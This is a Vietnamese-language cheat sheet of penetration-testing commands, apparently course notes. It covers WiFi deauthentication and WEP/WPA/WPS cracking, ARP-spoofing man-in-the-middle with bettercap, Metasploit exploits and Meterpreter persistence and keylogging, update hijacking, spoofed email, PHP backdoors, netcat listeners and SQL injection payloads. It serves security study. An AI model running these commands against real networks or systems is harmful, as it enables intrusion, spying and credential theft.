***Tập hợp lệnh***

***\* Pre-connection Attack***

|  |  |  |  |
| --- | --- | --- | --- |
| STT | Lệnh | Mô tả | Mục đích |
| 1 | ifconfig wlan0 down |  |  |
| 2 | ifconfig hw ether [address] | hw ether: thay đổi hardware address | Thay đổi địa chỉ MAC của interface |
| 3 | ifconfig wlan0 up |  |  |
| 4 | airmon-ng check kill |  | Kill process có thể gây ảnh hưởng khi ở monitor mode. |
| 5 | iwconfig wlan0 mode monitor |  | Set monitor mode |
| 6 | airmon-ng start wlan0 |  |  |
| 7 | airodump-ng wlan0 |  | Danh sách các wireless netword xung quanh (2.4GHz). |
| 8 | airodump-ng --band a wlan0 |  | Danh sách các wireless netword xung quanh (5GHz). |
| 9 | airodump-ng --band abg wlan0 |  | Danh sách các wireless netword xung quanh (2.4-5GHz). |
| 10 | airodump-ng --bssid [MAC Network] --channel [channel] --write [File Name] wlan0 |  | Tập trung vào target wireless network. |
| 11 | aireplay-ng --deauth [num of package] -a [Network MAC] -c [Client MAC] wlan0 |  |  |

***\* Gaining Access - WEP Cracking***

|  |  |  |  |
| --- | --- | --- | --- |
| STT | Lệnh | Mô tả | Mục đích |
| 1 | aircrack-ng [file name.cap] |  | Crack WEP khi có đủ lượng package. |
| 2 | aireplay-ng --fakeauth [time] -a [Network MAC] -h [Wireless Adapter MAC] wlan0 | time: thời gian giữa hai lần nỗ lực kết nối. | Giả kết nối vào network dùng WEP/WPA/WPA2 |
| 3 | aireplay-ng --arpreplay -b [Network MAC] -h [Wireless Adapter MAC] wlan0 |  | ARP Request Replay Attack |

***\* Gaining Access - WPA/WPA2 Cracking***

|  |  |  |  |
| --- | --- | --- | --- |
| STT | Lệnh | Mô tả | Mục đích |
| 1 | wash --interface wlan0 |  | Lấy danh sách các wireless network có WPS enable. |
| 2 | reaver --bssid [Network MAC] --channel [channel] --interface wlan0 -vvv --no-associate | vvv: hiển thị thêm một số thông tin chi tiết.  no-associate: yêu cầu Reaver không liên kết với mạng mục tiêu. | Tạo và thử các PIN đến khi PIN đúng. Nếu PIN đúng, sẽ dùng nó để khôi phục WPA/WPA2 key. |
| 3 | chmod +x reaver |  | Thay đổi reaver thành executable file |
| 4 | crunch [min] [max] [characters] -t [pattern] -o [fileName] | Ex: crunch 6 8 123abc$ -o wordlist -t a@@@@b | Tạo wordlist |
| 5 | man crunch |  | Xem hướng dẫn sử dụng crunch |
| 6 | aircrack-ng [fileName.cap] -w [word list file] |  |  |

***\* Post-connection Attack - Information Gathering***

|  |  |  |  |
| --- | --- | --- | --- |
| STT | Lệnh | Mô tả | Mục đích |
| 1 | netdiscover -r [192.168.1.1/24] | r: khoảng ip cần quét | Lấy danh sách tất cả các device cùng connect vào một network. |
| 2 | zenmap |  | Mở zenmap program interface. |

***\* Post-connection Attack - Man In The Middle Attack***

|  |  |  |  |
| --- | --- | --- | --- |
| STT | Lệnh | Mô tả | Mục đích |
| 1 | arpspoof -i eth0 -t [target machine] [fake] | i: interface kết nối với target machine.  -t: target machine | Gửi arp response tới target machine. |
| 2 | echo 1 > /proc/sys/net/ipv4/ip\_forward |  | Enable port forwarding, cho phép machine hoạt động như một router. |
| 3 | bettercap -iface [interface] |  | Mở bettercap program. |
| 4 | net.probe on |  |  |
| 5 | net.probe off |  |  |
| 6 | net.show |  |  |
| 7 | set [option] [value] |  | Modify option trong bettercap. |
| 8 | bettercap -iface [interface] -caplet /root/spoof.cap |  |  |
| 9 | caplets.show |  | Hiển thị danh sách tất cả caplet. |
| 10 | service apache2 start | apache2: tên của web server. | Start web server trên Kali Machine |
| 11 | hstshijack/hstshijack |  | Run hsts plugin. |
| 12 | http-ui |  | Sử dụng graphical interface của bettercap. |
| 13 | set net.sniff.output [path] |  | Tạo file chứa những gì bettercap bắt được. |
| 14 |  |  | Sử dụng XARP để phát hiện ARP Poisoning Attack. |
| 15 | HTTPS Everywhere |  | Cài đặt plugin này để phòng tránh MITM. |

***\* Server-side Attack***

|  |  |  |  |
| --- | --- | --- | --- |
| STT | Lệnh | Mô tả | Mục đích |
| 1 | msfconsole |  | Khởi chạy Metasploi |
| 2 | use [module name] |  | Sử dụng module trong Metasploi |
| 3 | show options |  | Show tất cả các options có thể thay đổi trong một module |
| 4 | set [option] [value] |  | Set giá trị cho các option |
| 5 | exploit |  | Khởi chạy module |
| 6 | show payloads |  | Show tất cả các payloads có thể sử dụng |
| 7 | set PAYLOAD [payload name] |  |  |

***\* Client-side Attack***

|  |  |  |  |
| --- | --- | --- | --- |
| STT | Lệnh | Mô tả | Mục đích |
| 1 | use exploit/multi/handler |  | Sử dụng module này để lắng nghe các connection đến. |
| 2 | cd /opt/evilgrade/ |  | Tới thư mục Evil Grade đã cài đặt. |
| 3 | ./evilgrade |  | Khởi chạy Evil Grade. |
| 4 | show modules |  | Hiển thị danh sách các chương trình có thể chiếm đoạt update. |
| 5 | configure [module name] |  |  |
| 6 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 |  | Redirect data từ better cap đến backdoor proxy program. |

***\* Client-side Attack - Social Engineering***

|  |  |  |  |
| --- | --- | --- | --- |
| STT | Lệnh | Mô tả | Mục đích |
| 1 | sendemail -xu [username] -xp [password] -s [server name:port] -f [from email] -t [to email] -u [title] -m [message] -o message-header=”From: [person name] <from email>” |  |  |

***\* Post Exploitation - Meterpreter***

|  |  |  |  |
| --- | --- | --- | --- |
| STT | Lệnh | Mô tả | Mục đích |
| 1 | background |  | Run session hiện tại ở background. |
| 2 | sessions -l |  | Lấy danh sách các sessions hiện có. |
| 3 | sessions -I [session id] |  | Vào session với id. |
| 4 | ps |  | Lấy danh sách tất cả các process. |
| 5 | migrate [pid] |  | Migrate process của metasploit vào session của máy chủ. |
| 6 | pwd |  | Get current working directory. |
| 7 | cat [file name] |  | Mở file. |
| 8 | download [file name] |  | Tải file về máy. |
| 9 | upload [file name] |  | Upload file lên máy chủ. |
| 10 | execute -f [file name] |  | Thực thi file. |
| 11 |  | Sử dụng \_service backdoor. |  |
| 12 | run persistence -h |  |  |
| 13 | run persistence -U -i [time interval] -p [port] -r [my ip address] | Bị phát hiện bởi AV. |  |
| 14 | use exploit/windows/local/persistence |  |  |
| 15 | set EXE\_NAME browser.exe |  |  |
| 16 | set SESSION [session id] |  |  |
| 17 | show advanced |  |  |
| 18 | set EXE::Custom [backdoor path] |  |  |
| 19 | keyscan\_start |  |  |
| 20 | keyscan\_dump |  |  |
| 21 | keyscan\_stop |  |  |
| 22 | screenshot |  |  |
| 23 | use exploit/multi/samba/usermap\_script |  |  |
| 24 | set RHOST [metasploit device ip] |  |  |
| 25 | show payloads |  |  |
| 26 | set PAYLOAD cmd/unix/bind\_netcat |  |  |
| 27 | use post/multi/manage/autoroute |  |  |

***\* Website Hacking - Information Gathering***

|  |  |  |  |
| --- | --- | --- | --- |
| STT | Lệnh | Mô tả | Mục đích |
| 1 | whois.domaintools.com |  |  |
| 2 | toolbar.netcraft.com |  |  |
| 3 | exploit-db |  |  |
| 4 | robtex.com |  |  |
| 5 | Sử dụng Bing (ip:[target ip]) |  | Lấy danh sách tất cả các web site nằm cùng web server. |
| 6 | knockpy [target domain name] |  | Lấy danh sách các sub domain. |
| 7 | dirb [target website] [word list] |  | Lấy danh sách các file nằm trong directory. |

***\* Website Hacking - File Upload Vulnerabilities***

|  |  |  |  |
| --- | --- | --- | --- |
| STT | Lệnh | Mô tả | Mục đích |
| 1 | weevely generate [password] [store path] |  | Tạo php backdoor file. |
| 2 | weevely [url file] [password] |  |  |

***\* Website Hacking - Code Execution/Local File Inclusion Vulnerabilities***

|  |  |  |  |
| --- | --- | --- | --- |
| STT | Lệnh | Mô tả | Mục đích |
| 1 |  | Có thể sử dụng metasploit để listen connection. |  |
| 2 | nc -vv -l -p 8080 | -vv: verbose output: xem chi tiết output.  -l: listen  -p: port |  |
| 3 | cat /etc/passwd |  | Lấy danh sách các user và password. |

***\* Website Hacking - SQL Injection***

|  |  |  |  |
| --- | --- | --- | --- |
| STT | Lệnh | Mô tả | Mục đích |
| 1 | select \* from users from username = ‘test’ and password = ‘123456’ or 1=1 #’ |  |  |
| 2 | load\_file(‘etc/passwd’) |  |  |
| 3 | sqlmap -u [url] |  |  |
| 4 | sqlmap --help |  |  |
| 5 |  |  |  |